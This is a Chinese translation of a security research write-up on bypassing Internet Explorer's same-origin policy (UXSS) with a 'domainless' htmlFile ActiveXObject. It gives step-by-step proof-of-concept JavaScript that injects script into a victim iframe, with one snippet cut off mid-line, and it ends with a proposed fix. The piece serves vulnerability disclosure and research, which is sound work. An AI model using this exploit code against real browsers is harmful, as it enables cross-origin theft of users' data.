http://p3.qhimg.com/t0187e8c675340d2aa4.jpg



前言


几个月前,我们曾在Edge上玩耍过无域的about:blank页面。基本上,一个强有力的about:blank document可以无限制地访问任何域。该问题在最近关于CVE-2017-0002的补丁上得到修复,所以将不再起作用。同样由ActiveXObject/htmlFile引发的问题也在上周关于CVE-2017-0154的补丁中被修复了。如果你还没有阅读过前面提到两种达到UXSS/SOP绕过方式的文章,请现在就去查阅下,因为我们接下来的内容将假设你已经熟悉这两种方式。我们今天的目标是将我们之前Edge上的bug利用移植到IE上,这将很容易,因为微软对IE的不认真修复。先看下这些漏洞当前的状态:

http://p8.qhimg.com/t0133411efc319e7f96.png


在IE上创建一个无域的about:blank


在之前的bug上,我们使用data:uri来创建一个无域的blank,我们要怎么在IE上实现相同的结果呢?htmlFile再次给我们提供了帮助,因为补丁让我们无法再设置为任意域,但是我们依旧可以将其设置为blank或者无域。

为了创建一个无域的htmlFile,我们首先需要一个被销毁的document,也就是说,document将不复存在。我们如何在什么都没有的基础上创建东西?这是Neil deGrasse Tyson提出的另一个问题,我将做出最好的回复!事实上,思路很简单,我们只需要确保一切按照正确的顺序进行即可。

1、保存iframe的对ActiveXObject的引用

2、至少实例化一次htmlFile(这样IE就没有销毁掉它)

3、阻断iframe进程(这样IE就没有机会销毁我们的引用)

4、销毁iframe的document(用document.open)

5、再次实例化htmlFile,现在它是无域的了。

步骤2和3在这里非常重要,少了步骤2将导致我们无法保存一个可用的引用,少了步骤3将是IE可以销毁相应对象。我们之前已经在这篇文章中提到过线程阻断的思路。我们接下来将使用的线程阻断技术是非常直观的弹框。


无域的htmlFile


1
2
3
4
5
6
7
8
9
10
11
12
13
14
// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..." rel="external nofollow" ></iframe>
  
// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');
  
// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;
  
// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance
  
// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');

你是否意识到我们使用了setTimeout来执行阻断弹框?这是因为我们还需要继续做其他事,如果我们直接在iframe弹框,这将阻断UI导致后续功能不执行。我们现在的目标是在弹框期间销毁iframe的内容。记住,弹框是用来阻止IE销毁ActiveXObject的。

现在我们将销毁iframe的document并创建无域的htmlFile。如果你对document.open不熟悉,那么在这个PoC中,你可以将其类比为document.write。

1
2
3
4
5
// Destroy the iframe document
ifr.document.open();
  
// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");

现在,我们拥有了一个无域的htmlFile,我们所需要做的就仅仅是加载一个带有我们要访问的URL的iframe了。具体的做法在之前的冒险在无域的世界文章中提到过了。实质上,我们通过iframe加载任意的网站,将其修改为about:blank(iframe所属域)。接着我们就可以通过我们的无域htmlFile任意访问该blank(绕过SOP)。

1
2
// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(pare

上述适用于IE10和IE11,但只要稍微调整即可适用于IE6到IE11.我们不会在这里做调整,但如果你真的好奇,请让我知道

http://p2.qhimg.com/t0177bd00fd9d8cdb20.png

[IE10/11上的PoC]


记住,htmlFile还有许多玩法在等着被发现,我相信这值得你花费一个下雨的午后来研究它。在我看来,修复htmlFile相关的bug的最好方式是完全禁止它在iexplore.exe上的实例化。

1
2
// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile");  // Do not allow this anymore!



本文由 安全客 翻译,作者:scriptkid

原文链接:http://www.brokenbrowser.com/uxss-ie-domainless-world/